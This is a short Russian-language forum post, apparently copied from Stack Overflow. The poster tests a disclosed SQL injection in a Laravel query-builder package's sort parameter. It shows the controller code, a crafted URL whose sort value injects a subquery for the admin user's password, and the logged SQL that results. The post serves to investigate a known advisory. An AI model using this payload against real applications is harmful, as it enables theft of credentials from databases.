https://freek.dev/1317-an-important-sec ... ry-builder
Схема:

Мой код
Код: Выделить всё
public function query_builder(Request $request){
DB::connection()->enableQueryLog();
$users = QueryBuilder::for(User::class)->select('name')
->get();
$queries = \DB::getQueryLog();
dd($queries);
return response()->json($users);
}
Код: Выделить всё
http://127.0.0.1:8080/query_builder?sort=email-%3E%22%27))%20AND%20(SELECT%20password%20FROM%20users%20WHERE%20email=%27admin@example.com%27)--
Код: Выделить всё
select `name` from `users` order by json_unquote(json_extract(`email`, '$.""\')) AND (SELECT password FROM users WHERE email=\'admin@example.com\')--"')) asc
Подробнее здесь: https://stackoverflow.com/questions/786 ... g-properly
Мобильная версия